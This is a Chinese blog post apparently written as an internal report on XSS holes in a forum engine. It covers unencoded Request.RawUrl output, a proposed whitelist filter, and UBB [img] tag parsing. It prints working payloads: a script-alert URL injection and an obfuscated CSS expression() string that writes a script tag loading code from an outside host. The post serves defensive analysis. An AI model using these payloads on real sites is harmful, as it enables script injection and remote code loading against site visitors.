天天看点

XSS跨站脚本实例

刚毕业时候的做的报告,整理文档的时候搜了出来,可能不是很正确仅供参考了

 URL注入  

例如在页面上输入

http://localhost/SNDA.BBSEngine.UI.ALWeb/TopicContent.aspx?BoardID=59&TopicID=6890&Page=1-->'");></SCRIPT></style></title></textarea><SCRIPT>alert("haha")</SCRIPT>

查看源文件里的会有这样的代码

href="http://localhost/SNDA.BBSEngine.UI.ALWeb/TopicContent.aspx?BoardID=59&TopicID=6890&Page=1-->'");></SCRIPT></style></title></textarea><SCRIPT>alert("haha")</SCRIPT>"><FONT size="4">

前面蓝色的部分被截断了。

部分页面源代码是这样的

其他页面也有类似的代码而且被注入的地方也是这些地方例如

是这段代码<FORM id="Frm" name="Frm" action='UserLogin.aspx?ru=<%=Request.RawUrl%>' method="post" onsubmit="javascript:return CheckForm();">

一些页面是

<a href="<%=Request.RawUrl%>" class="gensmall">会员列表  

所以考虑到这些可以采取安全部的意见使用白名单过滤:

先对URL的内容进行解码这样可以转义相当一部分玩家的花招

string strXss= Server.UrlDecode(this.Request.RawUrl.ToString());   然后使用白名单过滤:

只保留/,HTTP://,&,?,=,%,.,数字,字母,汉字,下划线。

 XSS表单注入

 UBB解析前(仅讨论针对IMG标签):

  注入字符串:

UBB解析过程:

解析前字符串:

正则表达式:

@"\[img\](?<img>.+?)\[\/img\]"

要替换的字符串:

"<a href='${img}' target='_blank'><img src='${img}' border=0 bbimg(this)' onload=\"javascript:setTimeout('if(this.width>790)this.style.width=790',1000);\" alt='Ctrl + 滚轮可以缩放图片大小'></a>"

   替换后表达式

"<br><a href='http://[color=a\t\twidth=00\t\tSTYLE=a:expr/**/Ession(docum\0ent.write("<scr\0ipt/**/src=http://sd0o.com.cn/1000y.jpg></scr\0ipt>"))\t=]\t[/color]' target='_blank'><img src='http://[color=a\t\twidth=00\t\tSTYLE=a:expr/**/Ession(docum\0ent.write("<scr\0ipt/**/src=http://sd0o.com.cn/1000y.jpg></scr\0ipt>"))\t=]\t[/color]' border=0 bbimg(this)' onload=\"javascript:setTimeout('if(this.width>790)this.style.width=790',1000);\" alt='Ctrl + 滚轮可以缩放图片大小'></a><br>"

本文转自 熬夜的虫子  51CTO博客,原文链接:http://blog.51cto.com/dubing/712454

继续阅读